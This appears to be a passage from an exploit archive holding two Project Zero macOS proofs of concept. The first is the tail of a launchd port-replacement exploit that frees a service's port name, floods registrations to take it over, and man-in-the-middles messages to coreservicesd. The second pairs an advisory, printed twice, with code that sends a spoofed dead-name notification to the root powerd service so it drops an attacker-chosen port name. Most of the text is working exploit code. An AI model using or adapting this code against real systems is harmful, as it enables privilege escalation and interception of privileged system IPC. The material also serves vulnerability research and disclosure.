    mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
    mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
   
    // fixup the header ports:
    // swap the remote port we received into the local port we'll forward
    // this means we're only mitm'ing in one direction - we could also
    // intercept these replies if necessary
    request->msgh_local_port = request->msgh_remote_port;
    request->msgh_remote_port = real_service_port;
    // voucher port stays the same

    int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
    
    // (remote, local, voucher)
    request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));

    if (is_complex) {
      request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;

      // if it's complex we also need to fixup all the descriptors...
      mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
      mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
      for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
        switch (desc->type) {
          case MACH_MSG_PORT_DESCRIPTOR: {
            mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
            inspect_port(port_desc->name);
            port_desc->disposition = right_fixup(port_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(port_desc+1);
            break;
          }
          case MACH_MSG_OOL_DESCRIPTOR: {
            mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
            // make sure that deallocate is true; we don't want to keep this memory:
            ool_desc->deallocate = 1;
            desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
            break;
          }
          case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
          case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
            mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
            // make sure that deallocate is true:
            ool_ports_desc->deallocate = 1;
            ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
            break;
          }
        }
      }

    }

    printf("fixed up request, forwarding it\n");

    // forward the message:
    err = mach_msg(request,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   request->msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);

    if (err != KERN_SUCCESS) {
      printf("error forwarding service message: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
	
}

void lookup_and_ping_service(char* name) {
  mach_port_t service_port = lookup(name);
  if (service_port == MACH_PORT_NULL) {
    printf("failed too lookup %s\n", name);
    return;
  }
  // send a ping message to make sure the service actually gets launched:
  kern_return_t err;
  mach_msg_header_t basic_msg;

  basic_msg.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  basic_msg.msgh_size        = sizeof(basic_msg);
  basic_msg.msgh_remote_port = service_port;
  basic_msg.msgh_local_port  = MACH_PORT_NULL;
  basic_msg.msgh_reserved    = 0;
  basic_msg.msgh_id          = 0x41414141;

  err = mach_msg(&basic_msg,
                 MACH_SEND_MSG,
                 sizeof(basic_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  if (err != KERN_SUCCESS) {
    printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err));
    return;
  }

  printf("pinged %s\n", name);
}

void* do_lookups(void* arg) {
  lookup_and_ping_service("com.apple.storeaccountd");
  lookup_and_ping_service("com.apple.hidfud");
  lookup_and_ping_service("com.apple.netauth.sys.gui");
  lookup_and_ping_service("com.apple.netauth.user.gui");
  lookup_and_ping_service("com.apple.avbdeviced");
  return NULL;
}

void start_root_lookups_thread() {
  pthread_t thread;
  pthread_create(&thread, NULL, do_lookups, NULL);
}

char* default_target_service_name = "com.apple.CoreServices.coreservicesd";

int main(int argc, char** argv) {
  char* target_service_name = default_target_service_name;
  if (argc > 1) {
    target_service_name = argv[1];
  }

	// allocate the receive rights which we will try to replace the service with:
	// (we'll also use them to loop the mach port name in the target)
	size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
		err = mach_port_insert_right(mach_task_self(),
							 ports[i],
							 ports[i],
							 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }

	// generate some service names we can use:
	char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[64];
    sprintf(name, "replacer.%d", i);
    names[i] = strdup(name);
  }

  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);

  // free the target in launchd
  do_free(bootstrap_port, target_service);

  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);

  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }

	// now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }

  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }

  start_root_lookups_thread();

	do_service_mitm(target_service, ps);
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 */

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in powerd

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

	pmServerMachPort = _SC_CFMachPortCreateWithPort(
													"PowerManagement",
													serverPort, 
													mig_server_callback, 
													&context);

It also asks to receive dead name notifications for other ports on that same server port:

	mach_port_request_notification(
							mach_task_self(),           // task
							notify_port_in,                 // port that will die
							MACH_NOTIFY_DEAD_NAME,      // msgid
							1,                          // make-send count
							CFMachPortGetPort(pmServerMachPort),        // notify port
							MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
							&oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

	static void
	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
	{
			mig_reply_error_t * bufRequest = msg;
			mig_reply_error_t * bufReply = CFAllocatorAllocate(
					NULL, _powermanagement_subsystem.maxsize, 0);
			mach_msg_return_t   mr;
			int                 options;

			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
			
			/* we have a request message */
			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

	static boolean_t 
	pm_mig_demux(
			mach_msg_header_t * request,
			mach_msg_header_t * reply)
	{
			mach_dead_name_notification_t *deadRequest = 
											(mach_dead_name_notification_t *)request;
			boolean_t processed = FALSE;

			processed = powermanagement_server(request, reply);

			if (processed) 
					return true;
			
			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
			{
					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

					PMConnectionHandleDeadName(deadRequest->not_port);

					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
					
					reply->msgh_bits            = 0;
					reply->msgh_remote_port     = MACH_PORT_NULL;

					return TRUE;
			}

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

	typedef struct {
			mach_msg_header_t   not_header;
			NDR_record_t        NDR;
			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
			mach_msg_format_0_trailer_t trailer;
	} mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.PowerManagement.control";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}